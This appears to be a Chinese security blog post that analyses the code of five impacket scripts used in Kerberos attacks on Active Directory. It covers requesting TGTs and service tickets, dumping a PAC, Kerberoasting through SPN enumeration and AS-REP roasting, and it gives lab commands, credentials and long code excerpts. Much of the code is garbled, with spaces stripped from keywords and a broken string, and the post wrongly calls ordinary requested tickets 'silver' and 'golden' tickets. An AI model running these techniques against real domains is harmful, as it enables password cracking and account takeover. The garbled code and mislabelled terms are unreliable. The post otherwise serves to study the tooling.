众亦信安,中意你啊!
点不了吃亏,点不了上当,设置星标,方能无恙!
一、getTGT 浅析
简介
提供密码、hash或aeskey用来请求TGT并且保存为ccache格式,也就是白银票据;
测试环境
win2019(DC):192.168.1.4
win10(attack):192.168.1.3
测试命令
python getTGT.py domain.local/administrator:"Admin@123" -dc-ip 192.168.1.4
代码解读
主函数处理输入参数后,进入GETTGT类,也是该脚本中的关键性代码中,并调用run()函数;
GETTGT类初始化如下:
classGETTGT:
def__init__(self, target, password, domain, options):
self.__password = password
self.__user= target
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = options.aesKey
self.__options = options
self.__kdcHost = options.dc_ip
if options.hashes isnotNone:
self.__lmhash, self.__nthash = options.hashes.split(':')
进入run()方法中,将输入的域用户名进行处理;
getKerberosTGT()方法为请求TGT票据,然后调用self.saveTicket()方法将票据保存为ccache文件,文件名为当前请求域用户的名字;
defrun(self):
userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey,self.__kdcHost)
self.saveTicket(tgt,oldSessionKey)
该流程也是标准的kerberos第一阶段TGT通信,对应流量如下:
第一次AS_REP响应报错"KRB5KDC_ERR_PREAUTH_REQUIRED",表示该域账户需要kerberos预身份认证;
第一次的AS_REQ请求包中没有包含当前请求用户的hash加密时间戳的字段,如下图:
总结
本次对getTGT脚本进行了简单的分析,该代码相对简单,只是一个正常的kerberos AS_REQ和AS_REP;
二、getST 浅析
简介
提供密码、hash、aeskey或ccache格式的TGT,可以请求服务票据并保存为ccache格式,也就是黄金票据;
测试环境
win2019(DC):192.168.1.4
win10(attack):192.168.1.3
测试命令
python getST.py domain.local/administrator:"Admin@123" -dc-ip 192.168.1.4 -spn ldap/WIN-O1LF3J0STCO.domain.local
代码解读
主函数处理命令行输入内容后,调用GETST类的run()方法;
try:
if domain isNone:
logging.critical('Domain should be specified!')
sys.exit(1)
if password == ''and username != ''and options.hashes isNoneand options.no_pass isFalseand options.aesKey isNone:
from getpass import getpass
password = getpass("Password:")
if options.aesKey isnotNone:
options.k = True
executer = GETST(username, password, domain, options)
executer.run()
进入run()函数中,先判断是否有指定TGT票据,如果没有则调用getKerberosTGT()进行TGT票据请求;
def run(self):
tgt = None
# Do we have a TGT cached?
domain, _, TGT, _ = CCache.parseFile(self.__domain)
# ToDo: Check this TGT belogns to the right principal
if TGT is not None:
tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']
oldSessionKey = sessionKey
if tgt is None:
# Still no TGT
userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
logging.info('Getting TGT for user')
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
unhexlify(self.__lmhash), unhexlify(self.__nthash),
self.__aesKey,
self.__kdcHost)
对应流量如下:
判断是否代表其他用户请求票证:
如果不是则调用getKerberosTGS()方法获取ST票据;
如果代表其他用户申请,则调用self.doS4U2ProxyWithAdditionalTicket()和self.doS4U()申请ST票据;
获取到票据以后将其保存为ccache文件;
ifself.__options.impersonate isNone:
# NormalTGS interaction
logging.info('GettingSTfor user')
serverName =Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey)
self.__saveFileName =self.__user
else:
# Here's the rock'n'roll
try:
logging.info('Impersonating%s' %self.__options.impersonate)
# Editing below to pass hashes for decryption
ifself.__additional_ticket is not None:
tgs, cipher, oldSessionKey, sessionKey =self.doS4U2ProxyWithAdditionalTicket(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey,
self.__kdcHost, self.__additional_ticket)
else:
tgs, cipher, oldSessionKey, sessionKey =self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost)
except Exceptionas e:
logging.debug("Exception", exc_info=True)
logging.error(str(e))
if str(e).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >=0:
logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' %self.__user)
if str(e).find('KDC_ERR_BADOPTION') >=0:
logging.error('ProbablySPNis not allowed to delegate by user %s or initial TGT not forwardable' %self.__user)
return
self.__saveFileName =self.__options.impersonate
self.saveTicket(tgs, oldSessionKey)
对应流量如下:
总结
本次对getST脚本进行了简单的分析,该脚本还原了一个正常的kerberos 票据请求流程;
三、getPac浅析
简介
作用: 获取指定用户的PAC
代码分析
主函数处理命令行参数后,实例化S4U2SELF类,并执行dump()函数;
try:
dumper = S4U2SELF(options.targetUser, username, password, domain, options.hashes)
dumper.dump()
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(str(e))
进入dump()方法中,getKerberosTGT()进行AS-REQ请求并接收AS-REP中的TGT票据(tgt)、解密值(cipher)、两个值的加密类型(oldSessionKey、sessionKey);并通过decoder.decode()对TGT票据进行解密;
userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
unhexlify(self.__lmhash), unhexlify(self.__nthash))
decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]
对应流量如下:
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1( decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
if logging.getLogger().level == logging.DEBUG:
logging.debug('AUTHENTICATOR')
print(authenticator.prettyPrint())
print ('n')
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
对应在TGS-REQ数据包中的内容如下:
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
# requests a service ticket to itself on behalf of a user. The user is
# identified to the KDC by the user's name and realm.
clientName = Principal(self.__behalfUser, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray = struct.pack('<I',constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray += b(self.__behalfUser) + b(self.__domain) + b'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('S4UByteArray')
hexdump(S4UByteArray)
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
# with the following three parameters: the session key of the TGT of
# the service performing the S4U2Self request, the message type value
# of 17, and the byte array S4UByteArray.
checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)
if logging.getLogger().level == logging.DEBUG:
logging.debug('CheckSum')
hexdump(checkSum)
paForUserEnc = PA_FOR_USER_ENC()
seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
paForUserEnc['userRealm'] = self.__domain
paForUserEnc['cksum'] = noValue
paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value)
paForUserEnc['cksum']['checksum'] = checkSum
paForUserEnc['auth-package'] = 'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('PA_FOR_USER_ENC')
print(paForUserEnc.prettyPrint())
encodedPaForUserEnc = encoder.encode(paForUserEnc)
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append( constants.KDCOptions.forwardable.value )
opts.append( constants.KDCOptions.renewable.value )
opts.append( constants.KDCOptions.renewable_ok.value )
opts.append( constants.KDCOptions.canonicalize.value )
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
#serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(int(cipher.enctype),int(constants.EncryptionTypes.rc4_hmac.value)))
# If you comment these two lines plus enc_tkt_in_skey as option, it is bassically a S4USelf
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, 'additional-tickets', (myTicket,))
TGS票据通信流量如下:
tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]
if logging.getLogger().level == logging.DEBUG:
logging.debug('TGS_REP')
print(tgs.prettyPrint())
cipherText = tgs['ticket']['enc-part']['cipher']
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]
# Pass the hash/aes key :P
if self.__nthash != '' and (isinstance(self.__nthash, bytes) and self.__nthash != b''):
key = Key(newCipher.enctype, unhexlify(self.__nthash))
else:
if newCipher.enctype == Enctype.RC4:
key = newCipher.string_to_key(password, '', None)
else:
key = newCipher.string_to_key(password, self.__domain.upper()+self.__username, None)
try:
# If is was plain U2U, thisis the key
plainText = newCipher.decrypt(key, 2, str(cipherText))
except:
# S4USelf + U2U uses this other key
plainText = cipher.decrypt(sessionKey, 2, cipherText)
self.printPdrqiac(plainText)
总结
本文对impacket中getPac.py脚本的代码进行简单的分析;
四、GetUserSPNs浅析
简介
查找域内使用账户注册的spn服务,如果有权限获取到该服务的ST,就可以尝试破解该注册服务账户的密码;
攻击流程
-
LDAP查询域内账户注册的SPN;
-
kerberos请求获取该SPN服务的ST票据;
环境搭建
setspn -S MySQL/WIN-2016.domain.local:3306/MySQL administrator
# 新增用户test
测试命令
python GetUserSPNs.py domain.local/test:"Admin@123" -dc-ip 192.168.1.4 -request -debug
执行截图:
代码解读
主函数处理输入参数后,调用GetUserSPNs类中的run()函数;
try:
executer = GetUserSPNs(username, password, userDomain, targetDomain, options)
executer.run()
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(str(e))
进入run()函数中,首先进行参数处理;
defrun(self):
if self.__usersFile:
self.request_users_file_TGSs()
return
if self.__kdcHost isnotNoneand self.__targetDomain == self.__domain:
self.__target = self.__kdcHost
else:
if self.__kdcIP isnotNoneand self.__targetDomain == self.__domain:
self.__target = self.__kdcIP
else:
self.__target = self.__targetDomain
if self.__doKerberos:
logging.info('Getting machine hostname')
self.__target = self.getMachineName(self.__target)
然后进行LDAP查找,ldap.LDAPConnection()建立连接,LDAP或kerberos进行权限认证,
try:
ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcIP)
if self.__doKerberos isnotTrue:
ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash,
self.__aesKey, kdcHost=self.__kdcIP)
except ldap.LDAPSessionError as e:
ifstr(e).find('strongerAuthRequired') >= 0:
# We need to try SSL
ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcIP)
if self.__doKerberos is not True:
ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash,
self.__aesKey, kdcHost=self.__kdcIP)
else:
if str(e).find('NTLMAuthNegotiate') >= 0:
logging.critical("NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos "
"authentication instead.")
else:
if self.__kdcIP is not None and self.__kdcHost is not None:
logging.critical("If the credentials are valid, check the hostname and IP address of KDC. They "
"must match exactly each other")
raise
对应流量如下:
filter_spn = "servicePrincipalName=*"
filter_person = "objectCategory=person"
filter_not_disabled = "!(userAccountControl:1.2.840.113556.1.4.803:=2)"
searchFilter = "(&"
searchFilter += "(" + filter_person + ")"
searchFilter += "(" + filter_not_disabled + ")"
if self.__stealth isTrue:
logging.warning('Stealth option may cause huge memory consumption / out-of-memory errors on very large domains.')
else:
searchFilter += "(" + filter_spn + ")"
if self.__requestUser isnotNone:
searchFilter += '(sAMAccountName:=%s)' % self.__requestUser
searchFilter += ')'
调用ldapConnection.search()进行ldap查询请求;
try:
# Microsoft Active Directory set an hard limit of 1000 entries returned by any search
paged_search_control = ldapasn1.SimplePagedResultsControl(criticality=True, size=1000)
resp = ldapConnection.search(searchFilter=searchFilter,
attributes=['servicePrincipalName', 'sAMAccountName',
'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
searchControls=[paged_search_control])
except ldap.LDAPSearchError as e:
if e.getErrorString().find('sizeLimitExceeded') >= 0:
# We should never reach this code as we use paged search now
logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
resp = e.getAnswers()
pass
else:
raise
对应流量如下:
请求包中可看见查询语句:
下面代码为查询结果处理
answers = []
logging.debug('Total of records returned %d' % len(resp))
for item in resp:
ifisinstance(item, ldapasn1.SearchResultEntry) isnotTrue:
continue
mustCommit = False
sAMAccountName = ''
memberOf = ''
SPNs = []
pwdLastSet = ''
userAccountControl = 0
lastLogon = 'N/A'
delegation = ''
try:
for attribute in item['attributes']:
ifstr(attribute['type']) == 'sAMAccountName':
sAMAccountName = str(attribute['vals'][0])
mustCommit = True
elifstr(attribute['type']) == 'userAccountControl':
userAccountControl = str(attribute['vals'][0])
ifint(userAccountControl) & UF_TRUSTED_FOR_DELEGATION:
delegation = 'unconstrained'
elifint(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION:
delegation = 'constrained'
elifstr(attribute['type']) == 'memberOf':
memberOf = str(attribute['vals'][0])
elifstr(attribute['type']) == 'pwdLastSet':
ifstr(attribute['vals'][0]) == '0':
pwdLastSet = '<never>'
else:
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elifstr(attribute['type']) == 'lastLogon':
ifstr(attribute['vals'][0]) == '0':
lastLogon = '<never>'
else:
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elifstr(attribute['type']) == 'servicePrincipalName':
for spn in attribute['vals']:
SPNs.append(str(spn))
if mustCommit isTrue:
ifint(userAccountControl) & UF_ACCOUNTDISABLE:
logging.debug('Bypassing disabled account %s ' % sAMAccountName)
else:
for spn in SPNs:
answers.append([spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation])
except Exception as e:
logging.error('Skipping item, cannot process due to error %s' % str(e))
pass
如果查询结果大于0,如果添加了"-request"或"-request-user"(只申请这一个用户注册的SPN),则进行TGS票据的申请;
if len(answers) >0:
self.printTable(answers, header=["ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon",
"Delegation"])
print('nn')
ifself.__requestTGS isTrue or self.__requestUser is not None:
# Let's get unique user names and a SPN to request a TGSfor
users = dict((vals[1], vals[0]) for vals in answers)
# Get a TGTfor the current user
TGT=self.getTGT()
ifself.__outputFileName is not None:
fd =open(self.__outputFileName, 'w+')
else:
fd =None
for user, SPNin users.items():
sAMAccountName = user
downLevelLogonName =self.__targetDomain +"\"+ sAMAccountName
try:
principalName =Principal()
principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value
principalName.components = [downLevelLogonName]
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain,
self.__kdcIP,
TGT['KDC_REP'], TGT['cipher'],
TGT['sessionKey'])
self.outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName,
self.__targetDomain +"/"+ sAMAccountName, fd)
except Exceptionas e:
logging.debug("Exception:", exc_info=True)
logging.error('Principal: %s -%s' % (downLevelLogonName, str(e)))
if fd is not None:
fd.close()
else:
print("No entries found!")
对应流量如下:
总结
通过复现得出,如果能获取到该SPN的TGS票据,则有两种可能:
-
一种为当前权限可以访问该SPN服务;
-
第二种为该用户只注册了spn,并没有实质性服务,这种情况,低权限用户也可以获取到TGS票据,从而爆破注册该SPN用户的密码。
五、GetNPUsers浅析
简介
作用: 用于获取域中那些不需要Kerberos预身份验证的用户的TGT(票据授予票据),并尝试破解其中的会话密钥来获取用户的密码;
测试环境
win2019(DC):192.168.1.4
win10(attack):192.168.1.3
测试命令
python GetNPUsers.py domain.local/administrator:Admin@123 -request -outputfile results.txt
代码分析
主函数处理完命令行输入参数后,进行实例化GetUserNoPreAuth类,并执行其中的run()函数;
try:
executer = GetUserNoPreAuth(username, password, domain, options)
executer.run()
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error(str(e))
进入run()函数中,处理输入参数,并通过ldap.LDAPConnection()进行ldap连接,ldapConnection.login()进行ldap身份认证;
try:
ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcIP)
if self.__doKerberos isnotTrue:
ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, kdcHost=self.__kdcIP)
对应流量如下:
设置ldap查询语句赋值给searchFilter中,并通过ldapConnection.search()进行查询;
searchFilter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)"
"(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" %
(UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)
try:
logging.debug('Search Filter=%s' % searchFilter)
resp = ldapConnection.search(searchFilter=searchFilter,
attributes=['sAMAccountName','pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],sizeLimit=999)
对应流量如下:
对查询结果进行筛选,如果有查询到的用户会将其属性都提取出来;,如果查询成功,会通过self.request_multiple_TGTs()继续请求该用户的TGT票据,如果未查询到就结束进程;
for item in resp:
ifisinstance(item, ldapasn1.SearchResultEntry) isnotTrue:
continue
mustCommit = False
sAMAccountName = ''
memberOf = ''
pwdLastSet = ''
userAccountControl = 0
lastLogon = 'N/A'
try:
for attribute in item['attributes']:
ifstr(attribute['type']) == 'sAMAccountName':
sAMAccountName = str(attribute['vals'][0])
mustCommit = True
elifstr(attribute['type']) == 'userAccountControl':
userAccountControl = "0x%x" % int(attribute['vals'][0])
elifstr(attribute['type']) == 'memberOf':
memberOf = str(attribute['vals'][0])
elifstr(attribute['type']) == 'pwdLastSet':
ifstr(attribute['vals'][0]) == '0':
pwdLastSet = '<never>'
else:
pwdLastSet = str(datetime.datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elifstr(attribute['type']) == 'lastLogon':
ifstr(attribute['vals'][0]) == '0':
lastLogon = '<never>'
else:
lastLogon = str(datetime.datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
if mustCommit isTrue:
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error('Skipping item, cannot process due to error %s' % str(e))
pass
iflen(answers)>0:
self.printTable(answers, header=[ "Name", "MemberOf", "PasswordLastSet", "LastLogon", "UAC"])
print('nn')
if self.__requestTGT isTrue:
usernames = [answer[0] for answer in answers]
self.request_multiple_TGTs(usernames)
else:
print("No entries found!")
如果查询到了,进入request_multiple_TGTs()函数中self.getTGT()获取该用户的TGT;
defrequest_multiple_TGTs(self, usernames):
if self.__outputFileName isnotNone:
fd = open(self.__outputFileName, 'w+')
else:
fd = None
for username in usernames:
try:
entry = self.getTGT(username)
self.outputTGT(entry, fd)
except Exception as e:
logging.error('%s' % str(e))
if fd isnotNone:
fd.close()
总结
本文对impacket中的GetNPUsers.py脚本进行简单分析,该脚本通过ldap查询来检测域内是否有用户不需要Kerberos预认证,并获取该用户的TGT票据,可以用其票据进行爆破密码,TGT不能直接进行利用;
原文始发于微信公众号(众亦信安):impacket解读(二. getTGT、getST、getPac、GetUserSPNs、GetNPUsers)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论